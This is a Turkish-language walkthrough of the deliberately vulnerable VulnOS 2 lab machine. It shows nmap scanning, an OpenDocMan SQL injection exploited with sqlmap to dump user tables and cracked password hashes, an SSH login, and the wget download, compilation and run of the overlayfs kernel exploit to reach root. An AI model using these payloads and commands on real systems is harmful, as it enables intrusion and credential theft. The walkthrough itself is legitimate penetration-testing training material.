Makine Hakkında Bilgiler
Açıklama:
VulnOS are a series of vulnerable operating systems packed as virtual images to enhance penetration testing skills
Vulnhub Sayfası:
https://www.vulnhub.com/entry/vulnos-2,147/
İndirme Sayfası: https://download.vulnhub.com/vulnos/VulnOSv2.7z
Walkthrough
Makinenin ip adresini tespit edelim.
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# ifconfig eth0 130 ⨯
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.21 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::20c:29ff:fe4a:4d3f prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4a:4d:3f txqueuelen 1000 (Ethernet)
RX packets 32662 bytes 17275873 (16.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 36087 bytes 4066865 (3.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# arp-scan -l | grep 08:00:27:57:4f:aa
192.168.0.26 08:00:27:57:4f:aa PCS Systemtechnik GmbH
Daha sonrasında bir nmap taraması gerçekleştirelim.
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# nmap -p- -A 192.168.0.26 -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-30 18:14 EDT
Nmap scan report for 192.168.0.26
Host is up (0.00068s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnOSv2
6667/tcp open irc ngircd
MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.68 ms 192.168.0.26
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.16 seconds
Aşağıdaki adresin html kodlarında şöyle bir yazı buldum.
http://192.168.0.26/jabc/?q=node/7
Dear customer,
For security reasons, this section is hidden.
For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest
Thank you.Daha sonrasında
http://192.168.0.26/jabcd0cs/ adresine gittim. OpenDocMan isimli bir uygulama ve bununla alakalı bir exploit var mı diye araştırdım.
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# searchsploit OpenDocMan 1.2.7
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenDocMan 1.2.7 - Multiple Vulnerabilities | php/webapps/32075.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# locate php/webapps/32075.txt
/usr/share/exploitdb/exploits/php/webapps/32075.txt
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# cp /usr/share/exploitdb/exploits/php/webapps/32075.txt .
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# cat 32075.txt
Advisory ID: HTB23202
Product: OpenDocMan
Vendor: Free Document Management Software
Vulnerable Version(s): 1.2.7 and probably prior
Tested Version: 1.2.7
Advisory Publication: February 12, 2014 [without technical details]
Vendor Notification: February 12, 2014
Vendor Patch: February 24, 2014
Public Disclosure: March 5, 2014
Vulnerability Type: SQL Injection [CWE-89], Improper Access Control [CWE-284]
CVE References: CVE-2014-1945, CVE-2014-1946
Risk Level: High
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
------------------------------------------------------------------------
-----------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenDocMan, which can be exploited to perform SQL Injection and gain administrative access to the application.
1) SQL Injection in OpenDocMan: CVE-2014-1945
The vulnerability exists due to insufficient validation of "add_value" HTTP GET parameter in "/ajax_udf.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.
The exploitation example below displays version of the MySQL server:
http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v
ersion%28%29,3,4,5,6,7,8,9
2) Improper Access Control in OpenDocMan: CVE-2014-1946
The vulnerability exists due to insufficient validation of allowed action in "/signup.php" script when updating userâ??s profile. A remote authenticated attacker can assign administrative privileges to the current account and gain complete control over the application.
The exploitation example below assigns administrative privileges for the current account:
<form action="http://[host]/signup.php" method="post" name="main">
<input type="hidden" name="updateuser" value="1">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="id" value="[USER_ID]">
<input type="submit" name="login" value="Run">
</form>
------------------------------------------------------------------------
-----------------------
Solution:
Update to OpenDocMan v1.2.7.2
More Information:
OpenDocMan v1.2.7.1 Release
OpenDocMan v1.2.7.2 Released
------------------------------------------------------------------------
-----------------------
References:
[1] High-Tech Bridge Advisory HTB23202 - https://www.htbridge.com/advisory/HTB23202 - Multiple vulnerabilities in OpenDocMan.
[2] OpenDocMan - http://www.opendocman.com/ - Open Source Document Management System written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
------------------------------------------------------------------------
-----------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. Araştırma sonucunda http://192.168.0.26/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9 adresinde bir sql injection olduğunu anladım ve union base bir sql injection olduğu açıktı. Aağıdaki http isteği ile sqlap aracılığı ile bir sql injection denemesi gerçekleştirdim.
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# cat istek
GET /jabcd0cs//ajax_udf.php?q=1&add_value=odm_user* HTTP/1.1
Host: 192.168.0.26
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: has_js=1; SESS00fab393a69e4a733c9013ec9b5a026a=m9QebivGGYU_7BFvdIH4Wtg9uXUdGCbTpIirhaTRMBM; PHPSESSID=c1vhrd6f5mn5iv43eund2nsg65
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U
___
__H__
___ ___[,]_____ ___ ___ {1.5.2#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:55:08 /2021-05-30/
[18:55:08] [INFO] parsing HTTP request from 'istek'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[18:55:08] [INFO] resuming back-end DBMS 'mysql'
[18:55:08] [INFO] testing connection to the target URL
[18:55:09] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[18:55:09] [INFO] testing for SQL injection on URI parameter '#1*'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[18:55:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:55:10] [WARNING] reflective value(s) found and filtering out
[18:55:11] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:55:11] [INFO] target URL appears to have 9 columns in query
[18:55:13] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[18:55:13] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 53 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: http://192.168.0.26:80/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[18:55:19] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
[18:55:19] [INFO] fetching database names
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin
[18:55:19] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.26'
[*] ending @ 18:55:19 /2021-05-30/Database'leri elde etmiş oldum. Bunun üstüne drupal'dan kullanıcıları elde etmeyi denedim. Çünkü ssh servisi açıktı belki makineyebağlanabiliriz.
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D drupal7 --tables
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D drupal7 --tables
___
__H__
___ ___[)]_____ ___ ___ {1.5.2#stable}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:56:09 /2021-05-30/
[18:56:09] [INFO] parsing HTTP request from 'istek'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[18:56:10] [INFO] resuming back-end DBMS 'mysql'
[18:56:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: http://192.168.0.26:80/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[18:56:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
[18:56:10] [INFO] fetching database names
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin
[18:56:11] [INFO] fetching tables for database: 'drupal7'
[18:56:12] [WARNING] reflective value(s) found and filtering out
Database: drupal7
[140 tables]
+------------------------------------------+
| filter |
| system |
| actions |
| aggregator_category |
| aggregator_category_feed |
| aggregator_category_item |
| aggregator_feed |
| aggregator_item |
| authmap |
| batch |
| block |
| block_custom |
| block_node_type |
| block_role |
| blocked_ips |
| book |
| cache |
| cache_block |
| cache_bootstrap |
| cache_field |
| cache_filter |
| cache_form |
| cache_image |
| cache_menu |
| cache_page |
| cache_path |
| cache_rules |
| cache_token |
| cache_update |
| cache_views |
| cache_views_data |
| ckeditor_input_format |
| ckeditor_settings |
| comment |
| commerce_calculated_price |
| commerce_checkout_pane |
| commerce_customer_profile |
| commerce_customer_profile_revision |
| commerce_line_item |
| commerce_order |
| commerce_order_revision |
| commerce_payment_transaction |
| commerce_payment_transaction_revision |
| commerce_product |
| commerce_product_revision |
| commerce_product_type |
| contact |
| ctools_access_ruleset |
| ctools_css_cache |
| ctools_custom_content |
| ctools_object_cache |
| date_format_locale |
| date_format_type |
| date_formats |
| field_config |
| field_config_instance |
| field_data_body |
| field_data_comment_body |
| field_data_commerce_customer_address |
| field_data_commerce_customer_billing |
| field_data_commerce_display_path |
| field_data_commerce_line_items |
| field_data_commerce_order_total |
| field_data_commerce_price |
| field_data_commerce_product |
| field_data_commerce_total |
| field_data_commerce_unit_price |
| field_data_field_description |
| field_data_field_image |
| field_data_field_product |
| field_data_field_tags |
| field_revision_body |
| field_revision_comment_body |
| field_revision_commerce_customer_address |
| field_revision_commerce_customer_billing |
| field_revision_commerce_display_path |
| field_revision_commerce_line_items |
| field_revision_commerce_order_total |
| field_revision_commerce_price |
| field_revision_commerce_product |
| field_revision_commerce_total |
| field_revision_commerce_unit_price |
| field_revision_field_description |
| field_revision_field_image |
| field_revision_field_product |
| field_revision_field_tags |
| file_managed |
| file_usage |
| filter_format |
| flood |
| history |
| image_effects |
| image_styles |
| menu_custom |
| menu_links |
| menu_router |
| node |
| node_access |
| node_comment_statistics |
| node_revision |
| node_type |
| page_manager_handlers |
| page_manager_pages |
| page_manager_weights |
| queue |
| rdf_mapping |
| registry |
| registry_file |
| role |
| role_permission |
| rules_config |
| rules_dependencies |
| rules_scheduler |
| rules_tags |
| rules_trigger |
| search_dataset |
| search_index |
| search_node_links |
| search_total |
| semaphore |
| sequences |
| sessions |
| shortcut_set |
| shortcut_set_users |
| simpletest |
| simpletest_test_id |
| stylizer |
| taxonomy_index |
| taxonomy_term_data |
| taxonomy_term_hierarchy |
| taxonomy_vocabulary |
| tracker_node |
| tracker_user |
| url_alias |
| users |
| users_roles |
| variable |
| views_display |
| views_view |
| watchdog |
+------------------------------------------+
[18:56:12] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.26'
[*] ending @ 18:56:12 /2021-05-30/
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D drupal7 -T users --dump
___
__H__
___ ___[)]_____ ___ ___ {1.5.2#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:56:33 /2021-05-30/
[18:56:33] [INFO] parsing HTTP request from 'istek'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[18:56:33] [INFO] resuming back-end DBMS 'mysql'
[18:56:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: http://192.168.0.26:80/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[18:56:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[18:56:34] [INFO] fetching database names
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin
[18:56:34] [INFO] fetching columns for table 'users' in database 'drupal7'
[18:56:35] [WARNING] reflective value(s) found and filtering out
[18:56:35] [INFO] fetching entries for table 'users' in database 'drupal7'
Database: drupal7
Table: users
[2 entries]
+-----+------+--------------------------+--------------------------+---------+---------------------------------------------------------+------------+---------+------------+--------+------------+---------+---------------+-----------+------------+------------------+
| uid | data | init | mail | name | pass | login | theme | access | status | created | picture | timezone | signature | language | signature_format |
+-----+------+--------------------------+--------------------------+---------+---------------------------------------------------------+------------+---------+------------+--------+------------+---------+---------------+-----------+------------+------------------+
| 0 | NULL | <blank> | <blank> | <blank> | <blank> | 0 | <blank> | 0 | 0 | 0 | 0 | NULL | <blank> | <blank> | NULL |
| 1 | b:0; | [email protected] | [email protected] | webmin | $S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr/Ug | 1462351302 | <blank> | 1462351302 | 1 | 1460812762 | 0 | Europe/Berlin | <blank> | <blank> | NULL |
+-----+------+--------------------------+--------------------------+---------+---------------------------------------------------------+------------+---------+------------+--------+------------+---------+---------------+-----------+------------+------------------+
[18:56:36] [INFO] table 'drupal7.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.0.26/dump/drupal7/users.csv'
[18:56:36] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.26'
[*] ending @ 18:56:36 /2021-05-30/Harika aşağıdaki bilgileri elde etmiş olduk.
webmin:$S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr/UgŞimdi diğer db'lere bakalım...
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D jabcd0cs --tables
___
__H__
___ ___[)]_____ ___ ___ {1.5.2#stable}
|_ -| . [,] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:00:31 /2021-05-30/
[19:00:31] [INFO] parsing HTTP request from 'istek'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[19:00:32] [INFO] resuming back-end DBMS 'mysql'
[19:00:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: http://192.168.0.26:80/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[19:00:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
[19:00:33] [INFO] fetching database names
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin
[19:00:33] [INFO] fetching tables for database: 'jabcd0cs'
[19:00:34] [WARNING] reflective value(s) found and filtering out
Database: jabcd0cs
[15 tables]
+-------------------+
| odm_access_log |
| odm_admin |
| odm_category |
| odm_data |
| odm_department |
| odm_dept_perms |
| odm_dept_reviewer |
| odm_filetypes |
| odm_log |
| odm_odmsys |
| odm_rights |
| odm_settings |
| odm_udf |
| odm_user |
| odm_user_perms |
+-------------------+
[19:00:34] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.26'
[*] ending @ 19:00:34 /2021-05-30/
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D jabcd0cs -T odm_user --dump
___
__H__
___ ___[(]_____ ___ ___ {1.5.2#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:00:50 /2021-05-30/
[19:00:50] [INFO] parsing HTTP request from 'istek'
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[19:00:51] [INFO] resuming back-end DBMS 'mysql'
[19:00:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: http://192.168.0.26:80/jabcd0cs//ajax_udf.php?q=1&add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[19:00:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
[19:00:51] [INFO] fetching database names
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin
[19:00:52] [INFO] fetching columns for table 'odm_user' in database 'jabcd0cs'
[19:00:53] [WARNING] reflective value(s) found and filtering out
[19:00:53] [INFO] fetching entries for table 'odm_user' in database 'jabcd0cs'
[19:00:54] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[19:00:54] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[19:00:54] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[19:00:54] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[19:00:54] [INFO] starting 4 processes
[19:01:20] [INFO] cracked password 'guest' for user 'guest'
[19:01:51] [INFO] cracked password 'guest' for user 'guest'
Database: jabcd0cs
Table: odm_user
[2 entries]
+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+
| id | Email | phone | password | username | last_name | department | first_name | pw_reset_code |
+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+
| 1 | [email protected] | 5555551212 | b78aae356709f8c31118ea613980954b | webmin | min | 2 | web | <blank> |
| 2 | [email protected] | 555 5555555 | 084e0343a0486ff05530df6c705c8bb4 (guest) | guest | guest | 2 | guest | NULL |
+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+
[19:02:22] [INFO] table 'jabcd0cs.odm_user' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.0.26/dump/jabcd0cs/odm_user.csv'
[19:02:22] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.26'
[*] ending @ 19:02:22 /2021-05-30/Evet bir kullanıcı daha elde ettik.
guest:guestAşağıdaki internet sitesinden md5'ı kontrol ettiğimde webmin kullanıcısının parolasınıda elde etmiş oldum. https://www.md5decrypt.org/
webmin:b78aae356709f8c31118ea613980954b:webmin1980Şimdi ssh deneyelim. Daha sonrasında makine içerisinde belirli kontrol gerçekleşirerek her zaman kullandığımız enu scriptinin çalıştıralım.
┌──(root💀kali)-[/home/kali/oscp/vulnos]
└─# ssh [email protected] 130 ⨯
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Mon May 31 00:11:42 CEST 2021
System load: 0.63 Memory usage: 3% Processes: 60
Usage of /: 5.7% of 29.91GB Swap usage: 0% Users logged in: 0
=> There is 1 zombie process.
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Wed May 4 10:41:07 2016
$ whoami
webmin
$
$ which wget
/usr/bin/wget
$ which gcc
/usr/bin/gcc
$
$
$
$ cd /tmp
$
$
$ ls
$
$ wget http://192.168.0.21:1822/lse.sh
--2021-05-31 01:16:38-- http://192.168.0.21:1822/lse.sh
Connecting to 192.168.0.21:1822... connected.
HTTP request sent, awaiting response... 200 OK
Length: 41177 (40K) [text/x-sh]
Saving to: ‘lse.sh’
100%[===================================================================================================================================================================================================>] 41,177 --.-K/s in 0s
2021-05-31 01:16:38 (96.3 MB/s) - ‘lse.sh’ saved [41177/41177]
$ chmod 777 lse.sh
$
$
$ ./lse.sh -l2 >> result
If you know the current user password, write it here to check sudo privileges: webmin1980
$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
$
$
$
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.4 LTS
Release: 14.04
Codename: trustyGözüme çarpan çok bir şey olmadı bunun üzerine locoal exploit deneeye karar verdim. Hak yükseltme işlemi için exploit aradım.
┌──(root💀kali)-[/home/kali/oscp/vulnos/linux-smart-enumeration]
└─# searchsploit kernel exploit privilege Ubuntu 14. 3.13.
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow) | linux/local/37293.txt
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CONFIG_X86_X32=y' Local Privilege Escalation (3) | linux_x86-64/local/31347.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[/home/kali/oscp/vulnos/linux-smart-enumeration]
└─# locate linux/local/37292.c
/usr/share/exploitdb/exploits/linux/local/37292.c
┌──(root💀kali)-[/home/kali/oscp/vulnos/linux-smart-enumeration]
└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c .
┌──(root💀kali)-[/home/kali/oscp/vulnos/linux-smart-enumeration]
└─# head 37292.c -n 20
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
┌──(root💀kali)-[/home/kali/oscp/vulnos/linux-smart-enumeration]
└─# mv 37292.c ofs.cExploiti kalimdeki python server'dan hedef makineye çektim.
$ wget http://192.168.0.21:1822/ofs.c
--2021-05-31 01:31:22-- http://192.168.0.21:1822/ofs.c
Connecting to 192.168.0.21:1822... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘ofs.c’
100%[===================================================================================================================================================================================================>] 5,119 --.-K/s in 0s
2021-05-31 01:31:22 (155 MB/s) - ‘ofs.c’ saved [5119/5119]
$ gcc ofs.c -o ofs
$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(webmin)
# cd /root
# ls
flag.txt
# cat flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
